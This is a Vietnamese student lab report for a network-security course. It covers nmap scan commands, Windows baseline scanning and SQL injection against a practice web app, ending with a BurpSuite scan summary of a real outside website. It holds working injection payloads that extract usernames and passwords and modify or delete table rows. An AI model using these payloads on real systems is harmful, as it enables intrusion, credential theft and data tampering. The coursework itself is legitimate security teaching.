Rà quét các dịch vụ và lỗ hổng sử dụng công cụ nmap - Thực hiện các thao tác rà quét trên hệ thống Lấy thông tin từ máy từ xa và xác định hệ điều hành của máy ▪ nmap -sS -P0 -sV -O... K
Trang 1HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG
KHOA CÔNG NGHỆ THÔNG TIN
Học phần: An toàn mạng Báo cáo thực hành Giảng viên hướng dẫn: TS Đặng Minh Tuấn
Trang 2
1
Mục lục
I Cài đặt và sử dụng các công cụ rà quét lỗ hổng bảo mật và cổng dịch vụ 2
1 Quét các hệ thống chạy HDH Windows sử dụng công cụ Microsoft Baseline Security Analyser 2
2 Rà quét các dịch vụ và lỗ hổng sử dụng công cụ nmap 3
II Tấn công chèn mã SQL 8
1 Vượt qua khâu xác thực người dùng 8
2 Trích xuất dữ liệu từ CSDL 9
3 Thêm, sửa, xóa dữ liệu 14
4 Khảo sát các trang web trên mạng có lỗi chèn mã SQL (không sửa/xóa dữ liệu) 15
Trang 3I Cài đặt và sử dụng các công cụ rà quét lỗ hổng bảo mật và cổng dịch vụ
1 Quét các hệ thống chạy HDH Windows sử dụng công cụ Microsoft Baseline Security Analyser
Trang 43
▪ Cách khắc phục: Đặt mật khẩu mạnh hơn (8 kí tự trở lên, bao
gồm ít nhất 1 kí tự in hoa, 1 chữ số, 1 kí tự đặc biệt)
tắt
- Automatic Updates: Dịch vụ tự động cập nhật của Windows 10 đã bị
▪ Mức độ nguy hiểm: Cao
▪ Cách khắc phục: Bật dịch vụ và đặt chế độ Automatic (Delayed
Start)
- Password Expiration: Có 1 vài tài khoản người dùng có mật khẩu
“không hết hạn”
▪ Mức độ nguy hiểm: Trung bình
▪ Cách khắc phục: Thay đổi mật khẩu của những tài khoản đó, và
đặt hạn cho mật khẩu đó
2 Rà quét các dịch vụ và lỗ hổng sử dụng công cụ nmap
- Thực hiện các thao tác rà quét trên hệ thống
Lấy thông tin từ máy từ xa và xác định hệ điều hành của máy
▪ nmap -sS -P0 -sV -O <target>
Trang 65
Lấy danh sách các máy chủ với các cổng mở được định nghĩa trước
▪ nmap -p 135 -oG – 192.168.129.1
Trang 7▪ nmap -p 445 -oG – 192.168.129.1
Trang 87
Tìm tất cả các địa chỉ IP đang hoạt động trong mạng
▪ nmap -sn 192.168.129.*
Trang 9Ping một dải địa chỉ IP
▪ nmap -sn 192.168.129.1-255
II Tấn công chèn mã SQL
1 Vượt qua khâu xác thực người dùng
- Nhập dữ liệu cho phép đăng nhập mà không cần có đủ username và password:
Trang 11- sam%' order by 4;
- sam%' union select 1,2,3;
Trang 1211
- Hiển thị thông tin hệ quản trị CSDL và hệ điều hành:
- Trích xuất danh sách các bảng của CSDL:
- Trích xuất danh sách các trường của bảng:
+ ssss' union select '', a.name, 0 from sys.columns a inner join sys.objects b on a.object_id = b.object_id where b.name='tbl_users';
Trang 13+ ssss' union select '', a.name, 0 from sys.columns a inner join sys.objects b on
a.object_id = b.object_id where b.name='students';
- Trích xuất dữ liệu bảng:
+ ssss' union select full_name, username+' '+password, 0 from tbl_users;
Trang 1413
+ ssss' union select lastname+' '+firstname, student_code+' '+password,
student_id from students ;
+ ssss' union select lastname+' '+firstname, student_code+' '+password,
Trang 15student_id from students where student_code = 'B18DCAT006';
Trang 1615
3 Thêm, sửa, xóa dữ liệu
+ samsung'; update tbl_users set password='test' where username='david';
+ samsung'; insert into tbl_users (full_name, username, password) values
('hoanganh','thuchanh','abc123');
Trang 17+ samsung'; delete from tbl_users where username = 'thuchanh';
Trang 1817
4 Khảo sát các trang web trên mạng có lỗi chèn mã SQL (không sửa/xóa dữ liệu)
Sử dụng công cụ BurpSuite rà quét lỗ hổng bảo mật trên trang Web:
http://www.bremed.com/
Sau khi thực hiện rà quét trang Web, ta thu được kết quả(như Hình):
Trang 19Ta thấy trang Web có chứa:
- 1 lỗi ở mức: Trung bình
- 2 lỗi ở mức: Thấp
- 4 lỗi ở mức: Thông tin
Chi tiết:
Trang 2019
a Lỗi ở mức trung bình(Medium): TLS certificate
Các sự cố sau đã được xác định với chứng chỉ TLS của máy chủ:
- Chứng chỉ của máy chủ không hợp lệ cho tên của máy chủ
- Chứng chỉ của máy chủ không đáng tin cậy
Có nhiều cuộc tấn công khác nhau chống lại TLS nói chung và trong bối cảnh kết nối web HTTPS nói riêng Kẻ tấn công được xác định và có vị trí thích hợp có thể xâm phạm kết nối TLS mà người dùng không phát hiện ngay cả khi chứng chỉ TLS hợp lệ được sử dụng
b Lỗi ở mức thấp(Low):
Strict transport security not enforced( Bảo mật nghiêm ngặt cho vận chuyển không được thực thi)
Trang 21- Ứng dụng không thể ngăn người dùng kết nối với nó qua các kết nối không được
mã hóa Kẻ tấn công có thể sửa đổi lưu lượng mạng của người dùng hợp pháp có thể bỏ qua việc sử dụng mã hóa SSL / TLS của ứng dụng và sử dụng ứng dụng làm nền tảng cho các cuộc tấn công chống lại người dùng của nó Cuộc tấn công này
được thực hiện bằng cách viết lại các liên kết HTTPS dưới dạng HTTP, để nếu người dùng được nhắm mục tiêu theo liên kết đến trang web từ một trang HTTP, trình duyệt của họ sẽ không bao giờ cố gắng sử dụng kết nối được mã hóa Công cụ sslstrip tự động hóa quá trình này
- Để khai thác lỗ hổng này, kẻ tấn công phải được định vị thích hợp để đánh chặn và sửa đổi lưu lượng mạng của nạn nhân được chia sẻ với một máy tính bị xâm nhập Các biện pháp phòng thủ thông thường như mạng chuyển mạch không đủ để ngăn chặn điều này Kẻ tấn công nằm trong ISP của người dùng hoặc cơ sở hạ tầng lưu trữ của ứng dụng cũng có thể thực hiện cuộc tấn công này Lưu ý rằng kẻ thù tiên tiến có thể nhắm mục tiêu vào bất kỳ kết nối nào được thực hiện qua cơ sở hạ
tầng cốt lõi của Internet
Unencrypted communications(Thông tin liên lạc không được mã hóa)
Trang 2221
- Ứng dụng cho phép người dùng kết nối với nó qua các kết nối không được mã hóa
Kẻ tấn công được định vị thích hợp để xem lưu lượng mạng của người dùng hợp
pháp có thể ghi lại và giám sát các tương tác của họ với ứng dụng và lấy bất kỳ
thông tin nào mà người dùng cung cấp Hơn nữa, kẻ tấn công có thể sửa đổi lưu
lượng truy cập có thể sử dụng ứng dụng làm nền tảng cho các cuộc tấn công
chống lại người dùng và các trang web của bên thứ ba Các kết nối không được mã
hóa đã bị ISP và chính phủ khai thác để theo dõi người dùng, đồng thời đưa vào
các quảng cáo và JavaScript độc hại Do những lo ngại này, các nhà cung cấp trình
duyệt web đang có kế hoạch gắn cờ trực quan các kết nối không được mã hóa là
nguy hiểm
- Để khai thác lỗ hổng này, kẻ tấn công phải được định vị thích hợp để nghe trộm lưu lượng mạng của nạn nhân Trường hợp này thường xảy ra khi máy khách giao
tiếp với máy chủ qua kết nối không an toàn như Wi-Fi công cộng hoặc mạng công
ty hoặc mạng gia đình được chia sẻ với máy tính bị xâm nhập Các biện pháp
phòng thủ thông thường như mạng chuyển mạch không đủ để ngăn chặn điều
này Kẻ tấn công nằm trong ISP của người dùng hoặc cơ sở hạ tầng lưu trữ của ứng
dụng cũng có thể thực hiện cuộc tấn công này Lưu ý rằng kẻ thù tiên tiến có thể
nhắm mục tiêu vào bất kỳ kết nối nào được thực hiện qua cơ sở hạ tầng cốt lõi của
Internet
- Xin lưu ý rằng việc sử dụng hỗn hợp thông tin liên lạc được mã hóa và không được
mã hóa là một biện pháp phòng thủ không hiệu quả chống lại những kẻ tấn công
tích cực, vì chúng có thể dễ dàng xóa các tham chiếu đến tài nguyên được mã hóa
khi các tham chiếu này được truyền qua một kết nối không được mã hóa
c Lỗi ở mức thông tin(Info)
Trang 23Input returned in response (reflected)( Đầu vào được trả lại trong phản hồi)
- Giá trị của tên tệp đường dẫn URL được sao chép vào phản hồi của ứng dụng
HTTP TRACE method is enabled(Phương thức HTTP TRACE được bật)
- Phương thức HTTP TRACE được thiết kế cho mục đích chẩn đoán Nếu được bật, máy chủ web sẽ phản hồi các yêu cầu sử dụng phương thức TRACE bằng cách lặp lại trong phản hồi của nó chính xác yêu cầu đã nhận được
- Hành vi này thường vô hại, nhưng đôi khi dẫn đến việc tiết lộ thông tin nhạy cảm như tiêu đề xác thực nội bộ được gắn bởi proxy ngược Trước đây, chức năng này
có thể được sử dụng để bỏ qua cờ cookie HttpOnly trên cookie, nhưng điều này không còn khả thi trong các trình duyệt web hiện đại
Trang 24Điều này có thể có kết quả không mong muốn và có thể dẫn đến lỗ hổng tập lệnh trên nhiều trang web trong đó các mã hóa không chuẩn như UTF-7 có thể được sử dụng để vượt qua các bộ lọc phòng thủ của ứng dụng
- Trong hầu hết các trường hợp, việc không có chỉ thị bộ ký tự không tạo thành một
lỗ hổng bảo mật, đặc biệt nếu phản hồi chứa nội dung tĩnh Bạn nên xem lại nội dung của các phản hồi bị ảnh hưởng và bối cảnh mà chúng xuất hiện, để xác định xem có lỗ hổng bảo mật nào tồn tại hay không
Frameable response (potential Clickjacking)
- Nếu một trang không đặt được tiêu đề HTTP X-Frame-Options hoặc Content-
Security-Policy thích hợp, thì trang do kẻ tấn công kiểm soát có thể tải nó trong
iframe Điều này có thể kích hoạt một cuộc tấn công clickjacking, trong đó trang
Trang 25của kẻ tấn công phủ lên giao diện của ứng dụng mục tiêu với một giao diện khác
do kẻ tấn công cung cấp Bằng cách khiến người dùng nạn nhân thực hiện các hành động như nhấp chuột và nhấn phím, kẻ tấn công có thể khiến họ vô tình thực hiện các hành động trong ứng dụng đang được nhắm mục tiêu Kỹ thuật này cho phép kẻ tấn công phá vỡ các biện pháp phòng thủ chống lại việc giả mạo yêu cầu trên nhiều trang web và có thể dẫn đến các hành động trái phép
- Lưu ý rằng một số ứng dụng cố gắng ngăn chặn các cuộc tấn công này từ bên trong chính trang HTML, bằng cách sử dụng mã "đánh khung" Tuy nhiên, kiểu phòng thủ này thường không hiệu quả và thường có thể bị phá vỡ bởi một kẻ tấn công lành nghề
- Bạn nên xác định xem người dùng ứng dụng có thể sử dụng bất kỳ chức năng nào
có thể truy cập được trong các trang có thể đóng khung để thực hiện bất kỳ hành động nhạy cảm nào trong ứng dụng hay không